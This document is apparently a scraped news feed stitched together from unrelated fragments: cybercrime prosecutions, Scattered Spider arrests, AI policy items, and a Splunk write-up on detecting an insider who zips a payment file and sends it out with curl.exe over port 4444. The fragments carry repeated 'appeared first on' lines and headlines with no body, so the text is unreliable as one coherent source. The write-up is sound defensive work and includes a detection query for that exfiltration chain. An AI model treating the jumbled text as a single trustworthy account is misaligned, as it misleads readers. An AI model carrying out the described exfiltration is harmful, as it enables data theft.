The post Illinois Man Pleads Guilty to Phishing 4,500 Snapchat Users to Steal Private Photos appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

• UK politics live – latest updates

MPs have warned that an NHS decision to grant Palantir access to identifiable patient information in its plan to use AI to improve the health service is “dangerous” and will fuel public fears that data privacy is not being prioritised.

NHS England has allowed staff from the US tech firm and other contractors to access patient data before it has been pseudonymised, despite internal fears of a “risk of loss of public confidence”, the Financial Times reported.

The post Illinois Man Pleads Guilty to Phishing 4,500 Snapchat Users to Steal Private Photos appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Space datacenters proposed by SpaceX, Jeff Bezos’s Blue Origin and others would release staggering levels of pollution that would probably alter the Earth’s atmosphere and be “catastrophic” for the planet, space industry experts and environmental groups warn in a new petition demanding a review of their impacts.

Tech companies have collectively proposed millions of “orbital datacenters” and are pressing forward with plans, which require Federal Communications Commission (FCC) approval. Among other issues, pollution from satellites and rockets burning up upon re-entry appears to be accumulating in the stratosphere at alarming levels. The spacecraft release black soot, rare metals, aluminum oxides and other pollutants with unknown effects.

Read more →

The post EU’s ‘Chat Control 1.0’ Revived, Rekindling Privacy and Surveillance Fears appeared first on IT Security News.

This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.

The failure that doesn't look like a failure 

An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.

So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.

I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. 

Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.

Why this is a data engineering problem

Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.

Blaming the model: The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.

Blaming the retrieval layer: Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. 

• AWS just entered the "context layer" race with a knowledge graph that learns from agent usage. 

• Snowflake's new Horizon Context and Cortex Sense target the exact symptom this piece opened with: agents giving confident wrong answers because nothing governs the business logic underneath them. 

Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.

The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. 

What's actually missing: Data observability

Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.

Uber built a dedicated data quality and observability platform long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.

Netflix solved a different piece of the same problem, building a company-wide data lineage system so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.

Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.

Correctness: Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like Great Expectations and Soda handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.

Freshness: Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.

Consistency: Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.

Lineage: Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. 

None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.

At Socure, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.

Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a write-audit-publish pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.

The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.

What to do Monday morning

If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: 

• Is the underlying data validated against the standards required by its consumers?

• What's the oldest piece of content currently being served with high confidence?

• Would two chunks of the same source ever disagree with each other in the same retrieval result?

• Could you trace where it came from if it turned out to be wrong?

If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.

Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. 

It took me a while to realise what the man sitting next to me on the train was doing. He was flicking through pictures of a little girl on his phone; zooming in on some, cropping the images. Hardly unusual, of course, except that on closer inspection the pictures were very clearly of the toddler sitting opposite us, playing with her parents. On a crowded train of people mostly staring obliviously at our own phones, a stranger had been covertly photographing that little girl over and over again. And if it hadn’t been for that very visible phone screen giving him away, he wouldn’t have been caught.

That encounter was a while ago but my memory was jogged last week listening to a clip of Meta’s VP of wearables, Alex Himel, talk fondly to the BBC about using his new smartglasses to film his daughter singing in a talent contest. They let him capture the memory without having to watch her through a screen, he said, freeing him to be “kind of living in the moment, head up and hands free”. So far, so sweet. But what about the risk of creeps potentially using them to film other people’s daughters covertly, heads up and hands free? Meta’s smartglasses have a tiny flashing warning light on the frame to indicate when the wearer is recording, but the technology is still new enough that many people don’t think to look for it. And in the age of AI, stolen images of children matter. Taken in real life or scraped from the internet, they’re the raw material for generating realistic-looking child abuse material of the most extreme and disturbing kind. (If that sounds like a grim but ultimately fairly victimless crime, the Internet Watch Foundation warned in a recent report that AI-generated material risks fuelling sexual interest in children, normalising violence and increasing the risk of real-life offending.)

Gaby Hinsliff is a Guardian columnist

Do you have an opinion on the issues raised in this article? If you would like to submit a response of up to 300 words by email to be considered for publication in our letters section, please click here.

Read more of this story at Slashdot.

Read more of this story at Slashdot.

Officials Vow Crackdown on Chinese Money Laundering Operations 

Investigation and Legal Proceedings Continue 

By Ronak Mishra · SC-200 | Security+ | ISC2 CC · Splunk Enterprise SIEM Lab

Most detection content is about outsiders — brute force, phishing, exploits. The attacker is external, the activity is obviously malicious, and the logs light up.

Insider threats are the opposite. The account is valid. The access is authorized. Every individual action, viewed on its own, looks like normal work. There’s no single event you can alert on. And that’s exactly what makes them the hardest thing a SOC has to catch.

I built a Splunk lab to detect one end to end. This is how it worked.

The scenario

A fictional e-commerce company, Meridian Commerce Inc. A Finance account on a Windows 11 workstation (FIN-WKS-04) with legitimate access to customer payment data. The insider does three things:

1. Reads the payment file C:\CustomerExports\payments_export.csv. This account is allowed to. (Event ID 4663)
2. Compresses it with PowerShell’s Compress-Archive. Zipping a file isn't malicious. (Event ID 4104)
3. Exfiltrates it to an external host with curl.exe over port 4444. One outbound connection among thousands. (Event ID 5156)

Read, zip, upload. Three ordinary actions. No perimeter control catches this because nothing is breached. No auth alert fires because the login is valid. The attack lives entirely inside legitimate behavior. The only way to see it is to stop looking at events individually and start looking at the pattern they form together.

Problem 1 — the workstation logs almost nothing by default

Before correlating anything, I found the telemetry wasn’t even there. A default Windows 11 workstation doesn’t log these events. Three audit subcategories must be explicitly enabled: File System (4663) plus a SACL on the folder, PowerShell Script Block Logging (4104), and Filtering Platform Connection (5156). Without them, the read, the compression, and the exfiltration are all invisible. If these aren’t on before the attack, there’s nothing to detect after — the evidence was never written.

Problem 2 — the compression step tried to hide

I expected to catch the compression via Event ID 4688 (Process Creation). It never fired. Compress-Archive is a native PowerShell cmdlet — it runs inside the existing PowerShell engine and doesn't spawn a child process, so there's no 4688. Any detection relying only on process-creation auditing is blind to PowerShell-native staging. That's why Script Block Logging (4104) matters — it captures the cmdlet with full parameter bindings, including exact source and destination paths.

The detection — correlating three stages into one incident

index=windows (EventCode=4663 Object_Name="*CustomerExports*")
    OR (EventCode=4104 _raw="*CompressFilesHelper*")
    OR (EventCode=5156 Destination_Port=4444)
| transaction host maxspan=30m
| where eventcount >= 3
| table _time, host, eventcount, duration

The three OR conditions each match one stage. transaction host maxspan=30m groups events on the same host within a 30-minute window into one logical unit — the line that turns scattered events into a story. where eventcount >= 3 only fires when all three stages hit the same host inside that window. One stage, nothing. Two, nothing. All three in sequence — that's a kill chain, not coincidence.

Result: 27 raw events correlated into 1 incident, spanning 25 minutes on FIN-WKS-04. One alert with the full narrative instead of 27 disconnected log lines nobody would piece together manually.

What happens after the alert fires

Detecting the chain is only step one. Here’s how I’d actually triage this in a live SOC:

Severity: High. Confirmed customer PII touched, compressed, and sent to an external host — this isn’t “suspicious,” it’s a completed exfiltration, not an attempt.

First move: Isolate FIN-WKS-04 from the network immediately to stop any further outbound activity, and disable the account pending investigation — not delete it, since the account and its full history are now evidence.

Scope the blast radius: Pull every file that account touched in the same session window, not just the one flagged file — the transaction proves this exfiltration; it doesn’t rule out others in the same session.

Escalate, don’t conclude: This is exactly the kind of finding that gets handed to IR and HR jointly, not closed solo by a SOC analyst. My job at this stage is to hand over a clean timeline, not decide intent — that’s a human resources and legal call, not a technical one.

Tune after, don’t tune during: The 30-minute window and the 3-event threshold both need validation against real traffic before this becomes a production rule — a busy analyst doing legitimate bulk export-and-archive work could trip the same pattern. That tuning is exactly what separates a lab detection from a production one.

That last part matters more than the query itself. A rule that fires is only useful if someone downstream knows what to do the moment it does.

This is Phase 5 of a full Splunk Enterprise SIEM lab I built from scratch — 6 OWASP Top 10 detections, a live SOC dashboard, incident reports, and two documented detection gaps. Full lab and all SPL: github.com/ronakmishra28/meridian-soc-detection-lab

How I Detected an Insider Threat in Splunk When Every Single Action Looked Legitimate was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

The quickest way to make being online safer for children and teens would be to kick all adult men off the internet, the Canadian psychologist Candice Odgers believes. Men are the biggest perpetrators of sextortion and most likely to spread misinformation, she says.

Odgers is not recommending this as a policy for governments to adopt: “That would be crazy, right? It would be unfair.” But she is on a drive to puncture the prevailing narrative that the best way to address online harms is a social media ban for teenagers.

Three Russian nationals have been charged in a sweeping Russian cybercrime indictment tied to an alleged bulletproof hosting operation that U.S. authorities say enabled ransomware, malware, phishing, and other cybercriminal activities, resulting in more than $62 million in losses to victims across the United States and several other countries.

The U.S. Attorney's Office for the Northern District of Ohio announced the unsealing of the indictment following a seven-year investigation. Alongside the criminal charges, the U.S. Department of State is offering a reward of up to $10 million for information on foreign government-linked associates connected to the operation.

Three Russian Nationals and Two Companies Indicted

A federal grand jury returned the indictment in December 2024 against:

• Alexander Alexandrovich Volosovik, 43, of St. Petersburg, Russia
• Kirill Andreevich Zatolokin, 34, of St. Petersburg, Russia
• Yulia Vladimirovna Pankova, 29, of St. Petersburg, Russia
• Media Land LLC
• ML.Cloud LLC

The defendants face charges including conspiracy to commit computer fraud, wire fraud, money laundering, and aiding cybercriminal activities.

Assistant Attorney General A. Tysen Duva said the defendants allegedly operated criminal infrastructure from overseas that supported attacks against U.S. critical institutions and placed the public at risk.

Bulletproof Hosting Allegedly Enabled Cybercrime Operations

According to court documents, Media Land, owned by Volosovik, and ML.Cloud, owned by Pankova, provided internet infrastructure and server hosting services designed to help cybercriminals evade law enforcement.

Authorities allege the companies operated from St. Petersburg while maintaining infrastructure in multiple countries, including China, Finland, the Netherlands, and the United States.

The businesses allegedly offered bulletproof hosting services that enabled criminal clients to deploy malware and ransomware, extort victims for money and cryptocurrency, register fraudulent domains, operate criminal marketplaces, and launch phishing and brute-force attacks.

Investigators said the companies also provided technical support to cybercriminal customers, allowing malicious campaigns to continue while avoiding detection.

Victims Spanned Critical Sectors Across 21 States

Officials said the operation targeted dozens of organizations across 21 U.S. states as well as multiple countries.

Victims included:

• Banks
• Schools
• Government entities
• Hospitals
• Media companies

Communities affected in Ohio included Akron, Brookfield, Canton, Cleveland, Elyria, Medina, Findlay, Solon, and Valley View.

Additional affected states included California, Florida, Georgia, Illinois, Louisiana, Maryland, Massachusetts, Michigan, Minnesota, New Hampshire, New York, North Carolina, Pennsylvania, Tennessee, Texas, Utah, Virginia, Washington, Wisconsin, and Delaware.

International victims were identified in Australia, Canada, the European Union, the United Arab Emirates, and the United Kingdom.

FBI Cyber Division Assistant Director Brett Leatherman said Media Land enabled malicious activity that caused tens of millions of dollars in losses while impacting victims across multiple countries.

Russian Cybercrime Indictment Prompts $10 Million Reward Offer

The U.S. Department of State's Rewards for Justice program announced a reward of up to $10 million for actionable information regarding foreign government-linked associates of the indicted individuals, their malicious cyber activities, or foreign government-linked use of Media Land or ML.Cloud.

The program also noted that relocation assistance may be available for qualifying information.

International Sanctions Expand Pressure

The indictment follows coordinated international action against the alleged operators. In November 2025, the U.S. Department of the Treasury's Office of Foreign Assets Control, together with authorities from the United Kingdom and Australia, sanctioned Media Land for facilitating global ransomware operations, distributed denial-of-service attacks, and other malicious cyber activities.

The sanctions also targeted Volosovik, Zatolokin, and Pankova individually, along with Media Land subsidiaries Media Land Technology (MLT), Data Center Kirishi (DC Kirishi), and sister company ML Cloud.

On July 13, the European Union also announced sanctions against the companies and key individuals as part of broader efforts to disrupt cybercrime infrastructure.

International Agencies Back the Investigation

The investigation was led by the FBI Cleveland Division with support from the Cybersecurity and Infrastructure Security Agency (CISA) and the Office of Foreign Assets Control.

Authorities also received assistance from the National Police of the Netherlands, the Public Prosecutor's Office of the Netherlands, the United Kingdom's National Crime Agency, the United Kingdom Foreign Commonwealth and Development Office, the Australian Department of Foreign Affairs and Trade, and the Australian Federal Police.

Officials from CISA and partner agencies said disrupting bulletproof hosting providers remains essential because these services form a critical part of the cybercriminal ecosystem by enabling ransomware, phishing, malware, and other malicious operations while helping threat actors remain anonymous.

Hello, and welcome to TechScape. I’m your host, Blake Montgomery, US tech editor at the Guardian. Today, we’re discussing the UK’s difficult position in the AI race, new doubts over OpenAI’s path toward a trillion-dollar stock market debut and the changes to IRL tech reporting in the age of AI.

My patients use ChatGPT for therapy. Now I use it too | Sarah Darghouth | The Guardian

Chasing new skills, going back to basics and pushing for collective action: how software engineers are adapting to AI

The post UK charges five persons linked to fraud platform behind more than a million scam calls appeared first on Help Net Security.

The post The Elder Scrolls 6 Faces New Delay Fears After Major Bethesda Layoffs appeared first on OnMSFT.

The Oscar-winning director Christopher Nolan believes the kind of movies he makes – big-budget action films shot mostly on location – would survive the spread of artificial intelligence, a technology he says many people “disdain”.

The Oppenheimer and The Dark Knight director is promoting his latest blockbuster, an adaptation of the Greek epic The Odyssey, which will be released in cinemas this week.

The Bank of England has been handed powers to regulate important tech firms including Amazon and Google from next week, amid fears that system failures could threaten financial stability and harm consumers.

From Monday, the Bank and fellow City regulator the Financial Conduct Authority (FCA) will be in charge of ensuring that four large-scale providers of cloud and tech services to banks are resilient and actively reducing the risk of cyber-attacks and major outages that could disrupt services for millions of people and businesses across the UK.

Chancellor Rachel Reeves is to announce a new City “skills compact” that will commit firms such as Barclays and Lloyds to retraining thousands of financial sector workers for the AI revolution.

The financial services skills compact will be launched on Tuesday, during what is likely to be Reeves’s final Mansion House speech to City bosses before Andy Burnham’s expected takeover of No 10. The government-backed initiative will commit employers to improving workers’ skills and helping them “keep pace” with significant technological changes that have prompted fears of mass redundancies.

Read more →

The post Common MFA mistakes — and how to fix them appeared first on IT Security News.

Read more of this story at Slashdot.

Read more →

The post Singapore Mansion Seized Amid Nvidia Chip Smuggling Probe appeared first on IT Security News.

The International Monetary Fund (IMF) has upgraded its growth forecast for the UK, while leaving those for other G7 countries weaker or unchanged, amid hopes the economic impact of the Iran war may be less severe than feared.

In a July update of its World Economic Outlook, which was finalised before the latest outbreak of hostilities in the Middle East, the Washington-based organisation projected UK gross domestic product to grow by 1% this year – up 0.2 percentage points from its April forecast.

Read more →

The post US Teenager Arrested In Finland For Scattered Spider Hacks appeared first on IT Security News.

Read more of this story at Slashdot.

The post Data From 21,000 Firms Reveals: AI Spending Is Creating Jobs, Not Killing Them appeared first on TechRepublic.

Read more of this story at Slashdot.

• Analysis | AI prey: why watchdogs are telling parents to protect children from nudification apps

The UK National Crime Agency has recommended parents should not put photos of their children on public display online as part of landmark guidance to tackle the rise of AI-generated sexual abuse material.

Advice issued by the NCA and the child safety watchdog the Internet Watch Foundation suggests parents and guardians make their social media accounts private or share pictures of their children through a “close friends” group.

• UK parents warned over posting images of children amid AI sexual abuse fears

The two photos started out as typical teenage selfies: looking into the mirror, fully clothed. But once online predators had got hold of those pictures and ran them through an AI imaging tool, they had become the basis for extreme pornography videos.

These examples come from the Report Remove service, which allows children who have had explicit pictures of themselves distributed without their consent to flag the image confidentially and have it blocked or taken down from social media. Due to breakthroughs in AI, and the wide availability of AI models and nudification apps, some under-18s are becoming victims without even being in contact with criminals.

The UK’s culture and media department will stop using X because the site “now favours abuse and misinformation over meaningful debate”, Lisa Nandy has announced.

The culture secretary’s department is the UK’s second to quit the Elon Musk-owned platform over increasing concerns about the way it highlights and prioritises often inaccurate far-right and racist content and is used to incite violence and division.

Read more →

The post IT Security News Hourly Summary 2026-07-02 15h : 13 posts appeared first on IT Security News.

NetScaler Memory Overread Flaw Revives CitrixBleed Fears on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.

Read more →

The post NetScaler Memory Overread Flaw Revives CitrixBleed Fears appeared first on IT Security News.

Read more →

The post India gives WhatsApp three days to defend username rollout amid security fears appeared first on IT Security News.

The post Scattered Spider Hacker Arrested in Finland and Extradited to U.S. Over Cyber Intrusion Charges appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

An alleged member of the Scattered Spider cybercrime group has been extradited from Finland to the United States to face federal charges related to conspiracy, cyber intrusion, and fraud. U.S. authorities said the case marks another step in their ongoing efforts to prosecute individuals accused of participating in high-profile cybercrime operations linked to the notorious hacking group.

Peter Stokes, 19, a dual U.S. and Estonian citizen, made his initial appearance in federal court in Chicago after being extradited from Finland.

According to the U.S. Department of Justice, Stokes was arrested by Finnish authorities in April following an Interpol Red Notice and was transferred to the United States last week. A criminal complaint filed in the Northern District of Illinois accuses him of participating in cyberattacks carried out as part of the Scattered Spider group.

Scattered Spider Linked to More Than 100 Network Intrusions

According to the complaint, Scattered Spider, also known as Octo Tempest, UNC3944, and 0ktapus, has been associated with more than 100 network intrusions. Authorities allege the group's activities have resulted in over $100 million in ransom payments and millions of dollars in additional damages suffered by victims.

Investigators said the group targeted companies across the United States by obtaining access to employee accounts through fraudulent methods.

Once inside corporate networks, the attackers allegedly encrypted data or exfiltrated sensitive information to remote servers before demanding cryptocurrency payments to restore access or prevent the public release of stolen data.

Complaint Details Alleged Luxury Retailer Cyberattack

The criminal complaint describes an alleged cyber intrusion that occurred in May 2025 involving a luxury jewelry retailer.

Federal prosecutors allege that Stokes and other co-conspirators breached the retailer's computer systems, exfiltrated company data, and demanded approximately $8 million in cryptocurrency as ransom. According to court documents, the retailer's security team successfully removed the threat actors from its network before any ransom payment was made.

Although the company did not pay the ransom, authorities said it still incurred losses of at least $2 million due to business disruption, investigation costs, and mitigation efforts following the incident.

Operation Riptide Targets Cybercrime Networks

The extradition and criminal charges were announced by the Department of Justice, the U.S. Attorney's Office for the Northern District of Illinois, and the FBI. The investigation also involved the FBI's Copenhagen Law Enforcement Attaché Office, the FBI Las Vegas Field Office, the Justice Department's Office of International Affairs, and Finland's National Bureau of Investigation.

Officials said the case forms part of Operation Riptide, an ongoing FBI campaign focused on disrupting cybercriminal actors, infrastructure, financial networks, and fraud schemes targeting Americans.

According to the FBI, Americans reported more than $20 billion in cybercrime losses last year, representing a 26% increase compared with the previous year.

Authorities Cite International Cooperation

Assistant Attorney General A. Tysen Duva said the charges stem from years of investigative work by the Justice Department, the U.S. Attorney's Office, and the FBI, adding that authorities would continue working together to pursue cybercriminals operating across international borders.

U.S. Attorney Andrew S. Boutros said the alleged attacks caused significant disruption to businesses across the United States and emphasized the government's commitment to prosecuting individuals involved in cyber intrusions.

FBI Special Agent-in-Charge Douglas S. DePodesta also highlighted the role of international law enforcement partnerships in identifying alleged members of the hacking group and pursuing cross-border cybercrime investigations.

Recent Guidance on Scattered Spider Threat

The arrest follows recent law enforcement efforts targeting the Scattered Spider threat group. In July 2025, the FBI and CISA released updated guidance describing the group's latest attack techniques, including the use of DragonForce ransomware to encrypt VMware ESXi servers.

The advisory urged organizations to maintain isolated offline backups, implement phishing-resistant multifactor authentication (MFA), and apply application controls to manage software execution.

Separately, in November 2025, two alleged Scattered Spider members appeared before Southwark Crown Court in the United Kingdom and pleaded not guilty to charges related to the August 2024 cyberattack on Transport for London (TfL).

The Department of Justice emphasized that the complaint against Stokes contains allegations only. As with all criminal cases, he is presumed innocent unless and until proven guilty in court.

Read more →

The post 19-Year-Old Scattered Spider Suspect Extradited to Face U.S. Hacking Charges appeared first on IT Security News.

What are the benefits obtained from AI’s massive use of electricity and water (‘We’re up against forces that have all the money in the world’: Erin Brockovich on her battle against AI datacentres, 29 June)? Analysis shows that the top four uses of AI are “therapy/companionship”, “technical assistance and troubleshooting”, “fun and nonsense”, and “fan fiction and storytelling”.

AI use for therapy, and due to loneliness, appears not to reduce loneliness. AI provides affirmation, but at the expense of reducing the social skills needed to interact in the real world. Teachers report that students’ use of AI reduces their capacity for critical thinking.

The post Apple’s aggressive crackdown on iPhone 18 Pro leaks sparks conspiracy theories and highlights supply chain vulnerabilities appeared first on MacDailyNews.

Anthropic has said the US commerce department has lifted export controls on its Fable and Mythos AI models, less than ⁠three weeks after ⁠the company ​was ordered to suspend access to its most advanced AI models over national security risks.

“We’ll begin restoring access tomorrow,” Anthropic said in a statement on X late on Tuesday.

Hello, and welcome to TechScape. I’m Blake Montgomery, US tech editor at the Guardian, writing to you after fending off sunburns at the beach. Today, we’re discussing a rocky week for the AI industry’s finances and how California’s proposed billionaire’s tax is changing the political posture of the state’s governor.

Impact of social media ban for under-16s in UK hinges on how firm it is

UK under-16s social media ban: which apps will be blocked and how will it work?

‘Tech firms are losing the public’: social media age bans near tipping point

OpenAI staggers AI model release after Trump administration request

Meta pauses employee tracker for AI training amid privacy concerns

‘It’s dangerous and it’s going to erode trust’: redesign of US government websites stokes surveillance fears

California billionaire tax will appear on ballot after deadline for deal passes | Technology | The Guardian

Read more: Global workers eying exits as pay stalls and job fears grow, finds report

Two Venezuelan nationals have been sentenced to 78 months in prison for their role in an ATM jackpotting scheme that used malware to force cash machines across the United States to dispense money illegally. The operation, which authorities say was part of a broader transnational criminal network, involved the deployment of Ploutus malware on ATMs and resulted in losses exceeding $1.5 million.

Carlos Javier Padron, 36, was sentenced after pleading guilty to conspiracy to commit bank burglary and computer fraud. His co-defendant, Oddry Arnoldo Cabrera Torrealba, 37, received the same sentence on June 11 after pleading guilty to identical charges.

Ploutus Malware Used to Trigger Unauthorized Cash Withdrawals

According to court documents, Padron and Torrealba were members of a criminal network responsible for carrying out ATM jackpotting attacks across the United States. Their role involved physically installing a variant of Ploutus malware on targeted ATMs.

Once activated, the malware enabled attackers to send commands directly to the ATM's cash dispensing module, allowing unauthorized withdrawals of currency. Investigators said the malware was also designed to erase traces of its presence, making it more difficult for financial institutions to detect the compromise.

The two men were arrested by the Lincoln Police Department during an ATM jackpotting incident in October 2024.

More Than $1.5 Million Ordered in Restitution

Along with their prison sentences, Padron and Torrealba were jointly ordered to pay $1,537,696 in restitution to the affected financial institutions.

Officials said the investigation uncovered a much larger criminal operation following their arrests. Authorities have since indicted 96 additional individuals connected to the conspiracy on charges including bank burglary conspiracy, money laundering, computer fraud, unauthorized access to protected computers, bank fraud, and providing material support to a designated foreign terrorist organization.

Authorities Link Scheme to Tren de Aragua

U.S. officials stated that the investigation established direct and indirect links between several indicted co-conspirators and Tren de Aragua, a transnational criminal organization that originated in Venezuela.

According to investigators, the group has expanded its operations throughout the Western Hemisphere and has been involved in crimes including drug trafficking, firearms trafficking, kidnapping, robbery, extortion, commercial sex trafficking, and financial fraud.

Authorities allege that ATM jackpotting became one of the organization's revenue-generating activities, targeting financial institutions across the United States through coordinated cyber-enabled attacks.

Justice Department Says Financial Crimes Fund Organized Crime

Assistant Attorney General A. Tysen Duva said the defendants helped deploy malware as part of a criminal network that stole millions of dollars from ATMs across the country. He added that disrupting such operations is critical to protecting financial institutions from technology-enabled fraud.

U.S. Attorney Lesley Woods for the District of Nebraska described ATM jackpotting as a significant revenue source used to finance the criminal activities attributed to the organization and said federal prosecutors would continue targeting its financial networks.

The FBI's Omaha Field Office said it continues to adapt its investigative efforts as criminal organizations increasingly rely on cyber-enabled financial crimes. Homeland Security Investigations also stated that the prosecution was intended to protect both consumers and the U.S. financial system from organized criminal activity.

Multi-Agency Investigation Continues

The investigation was led by the FBI Omaha Field Office and Homeland Security Investigations, with assistance from numerous federal, state, and local law enforcement agencies across the United States.

The case is being prosecuted by the Justice Department's Computer Crime and Intellectual Property Section, the U.S. Attorney's Office for the District of Nebraska, and Joint Task Force Vulcan.

Officials said the case forms part of a broader federal effort targeting transnational criminal organizations involved in cybercrime, financial fraud, and other organized criminal activities. The investigation into the wider network remains ongoing.

An opaque White House office staffed largely by veterans of Elon Musk’s “department of government efficiency” (Doge) has quietly rebuilt some of the federal government’s most sensitive websites – for passport applications, voter registration, prescription-drug pricing and children’s savings – in ways critics say appear to violate federal law.

The National Design Studio (NDS) was established by a Donald Trump executive order last August, and is led by Trump-aligned Airbnb co-founder Joe Gebbia and staffed by Doge veterans.

Read more →

The post Anthropic Restores Limited Access to Claude Mythos 5 AI Model After US Government Approval appeared first on IT Security News.

Read more of this story at Slashdot.

The Cyber Express Weekly Roundup 

Five Eyes Warn AI Is Rapidly Outdating Cyber Risk Models 

TfL Hackers Plead Guilty After £29M Cyberattack 

KDDI Data Breach May Expose 14.22 Million Email Accounts 

Garfield AI Wins Landmark UK Case as AI-Powered Law Firm 

Iranian Hacker Arrested in Montenegro Over Alleged $3.4B Cyberattack Campaign 

Weekly Cybersecurity Takeaway 

Iranian Hacker Faces Computer Fraud and Hacking Charges 

Alleged Cyberattack on USA Universities Caused Billions in Damage 

Extradition Process Underway 

Iranian Cyber Operations Remain Under Scrutiny 

Read more →

The post New Delhi Data Centre Fire Disrupts Google Cloud Services appeared first on IT Security News.

Read more →

The post New Delhi Data Centre Fire Disrupts Cloud Services appeared first on IT Security News.

The post Hacker gets 18 months for attack that compromised 60,000 betting accounts appeared first on Help Net Security.

• Get our breaking news email, free app or daily news podcast

The fund manager Geoff Wilson, a prominent public critic of the government’s tax changes, has deleted an inflammatory AI-generated video he reposted from a rightwing nationalist account portraying Anthony Albanese and Jim Chalmers taking money from white Australians and giving it to recently arrived migrants wearing Islamic face coverings.

Wilson said he had not watched the full video before sharing it or examined other accounts, some of whose content he reposted on Wednesday morning – which included content relating to the QAnon conspiracy theory – and deleted his posts after being contacted by Guardian Australia.

Read more →

The post Algerian national accused of running cybercrime marketplaces extradited to US appeared first on IT Security News.

The post Algerian national accused of running cybercrime marketplaces extradited to US appeared first on Help Net Security.

Transport for London Cyberattack Led to Major Disruption

Investigation Linked Attackers to Scattered Spider

Additional Allegations Involving US Healthcare Networks

Law Enforcement Highlights Impact of Cybercrime

Read more →

The post IT Security News Hourly Summary 2026-06-21 18h : 2 posts appeared first on IT Security News.

Read more →

The post Bitcoin Drops Below $60,000 as Market Selloff and Security Fears Weigh on Crypto appeared first on IT Security News.

Adopting AI in Local Government with Privacy and Equity in Mind: A Case Study of the City of Oakland

Vinal Dalcy Dsouza and Rebecca Williams Earle, Northeastern University

We are partnering with the City of Oakland to understand how AI can safely support city workflows and processes. Federal cuts are increasing the strain on local governments, which must meet community needs with fewer resources. Artificial intelligence is often proposed as a solution, but local governments can be wary due to privacy and equity concerns. Oakland is piloting Microsoft Copilot, and we are measuring participant experiences and perceptions throughout the study through interviews and surveys with a sample of participants from a variety of city departments. We will share snapshots of participant perceptions of AI and privacy from multiple touchpoints during this 6 month study. We will also discuss how privacy and equity concerns, including public record requests, disparities in AI access, and fears of skill atrophy, shaped and in some cases, limited participant engagement with AI.
Authors: Shufan Chai, Vinal Dalcy Dsouza, Rebecca Williams Earle, Rasika Bhalerao and Jessica Staddon

View the full PEPR '26 program at https://www.usenix.org/conference/pepr26/program

• Don’t get Pushing Buttons delivered to your inbox? Sign up here

In March 2000, Bill Gates stood onstage at the Game Developers Conference in San Francisco and, to a packed crowd, officially announced the company’s long-anticipated video game console. “We want Xbox to be the platform of choice for the best and most creative game developers in the world,” he told attenders – and that was indeed the intention of the small, dedicated team who put together the blueprints of that first machine.

